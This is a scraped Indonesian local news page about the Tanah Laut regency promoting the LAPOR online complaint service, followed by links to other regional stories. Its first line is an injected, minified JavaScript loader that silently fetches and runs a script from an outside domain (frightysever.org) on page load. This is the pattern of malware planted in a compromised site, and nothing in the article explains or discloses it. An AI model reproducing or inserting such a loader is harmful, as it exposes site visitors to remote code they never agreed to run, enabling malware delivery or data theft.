(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PELAIHARI – Kritik dan masukan dari masyarakat dapat diterima langsung Pemerintah Kabupaten (Pemkab) Tanah Laut melalui Layanan Aspirasi dan Pengaduan Online Rakyat atau LAPOR.
Kesempatan masyarakat untuk bisa menyampaikan aspirasi kepada Pemkab ini diingatkan kembali Bupati Tanah Laut HM Sukamta saat meninjau sosialisasi LAPOR dari Dinas Komunikasi dan Informatika (Diskominfo) Tala dalam rangkaian Manunggal Tuntung Pandang di Desa Padang Luas, Kecamatan Kurau, Jumat (16/7/2021).
“Mungkin masyarakat belum mengetahui bahwa inilah kanal komunikasi antara pemerintah daerah dengan masyarakat,” ujar Bupati Tala dikutip dari tanahlaut.go.id.
Baca juga: Aksi Seorang Jambret Terhenti di Pos Penyekatan PPKM
Pengaduan yang dapat disampaikan secara anonim dan melindungi identitas pelapor itu tersedia dalam aplikasi sehingga mudah untuk diakses. Kritik dan saran nantinya akan masuk diteruskan kepada instansi yang bersangkutan.
“Ini yang perlu masyarakat ketahui, ini mempermudah dan nanti akan dijawab oleh pejabat yang berwenang,” ujar Bupati Sukamta.
Kepala Seksi Kemitraan, Penyiaran dan Informasi Publik pada Diskominfo Tala, Siti Mukaromah menjelaskan bahwa aduan masyarakat melalui LAPOR akan membantu proses perbaikan fasilitas pelayanan publik.
Diibaratkannya ketika pemerintah daerah memerlukan bantuan dana untuk memperbaiki fasilitas publik dari pemerintah pusat maka pengaduan-pengaduan masyarakat setempat yang terdata dalam LAPOR akan semakin memperjelas urgensi bantuan yang diperlukan.
Baca juga: Lonjakan Tajam Kasus Harian, Tim Satgas Covid-19 ‘Curiga’ Varian Delta Sudah Masuk Kalsel
“Semua laporan masuk ke pusat, sesuai SOP laporan akan ditanggapi maksimal tiga hari kerja, baru akan diteruskan ke pemerintah daerah, ke lokasi kejadian. Makanya laporan harus menguraikan dengan jelas kronologinya, waktu dan tempat kejadian, dan paling penting gunakan bahasa yang baik dan sopan,” jelas Siti Mukaromah.
Siti juga menyampaikan hingga saat ini jumlah laporan yang masuk untuk Tanah Laut masih rendah, sehingga diharapkan masyarakat dapat berpartisipasi aktif untuk menyampaikan aspirasinya melalui beberapa cara yaitu SMS ke 1708 dengan format dengan mengetik KTA (spasi) aduan, melalui website www.lapor.go.id dan melalui Aplikasi SP4N LAPOR yang tersedia di Playstore dan Apple Store. (kanalkalimantan.com/diskominfotala)
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More
Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More
This website uses cookies.